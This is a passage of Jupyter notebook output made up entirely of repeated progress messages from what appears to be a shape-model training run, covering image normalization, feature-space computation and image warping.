"\r", "- Normalizing images size: 79%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 80%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 80%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 82%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 82%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 83%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 83%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 85%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 85%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 86%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 86%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 88%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 88%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 89%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 89%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 91%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 91%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 92%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 92%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 94%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 94%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 95%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 95%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 97%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 97%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 98%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 98%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 99%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 99%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 100%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Building models\n" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 0%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 0%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 1%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 1%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 2%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 2%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 4%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 4%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 5%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 5%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 7%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 7%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 8%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 8%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 10%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 10%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 11%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 11%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 13%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 13%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 14%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 14%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 16%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 16%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 17%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 17%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 19%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 19%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 20%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 20%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 22%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 22%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 23%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 23%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 25%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 25%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 26%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 26%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 28%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 28%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 29%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 29%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 31%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 31%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 32%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 32%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 34%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 34%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 35%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 35%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 37%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 37%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 38%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 38%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 40%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 40%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 41%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 41%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 43%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 43%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 44%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 44%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 46%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 46%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 47%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 47%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 49%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 49%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 50%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 50%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 52%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 52%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 53%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 53%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 55%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 55%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 56%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 56%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 58%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 58%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 59%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 59%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 61%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 61%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 62%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 62%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 64%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 64%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 65%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 65%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 67%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 67%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 68%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 68%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 70%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 70%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 71%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 71%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 73%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 73%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 74%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 74%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 76%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 76%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 77%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 77%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 79%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 79%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 80%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 80%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 82%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 82%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 83%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 83%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 85%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 85%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 86%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 86%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 88%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 88%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 89%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 89%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 91%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 91%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 92%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 92%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 94%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 94%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 95%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 95%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 97%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 97%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 98%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 98%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 99%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 99%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Computing feature space: 100%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Building shape model" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 0%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 0%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 1%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 1%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 2%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 2%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 4%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 4%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 5%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 5%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 7%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 7%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 8%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 8%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ 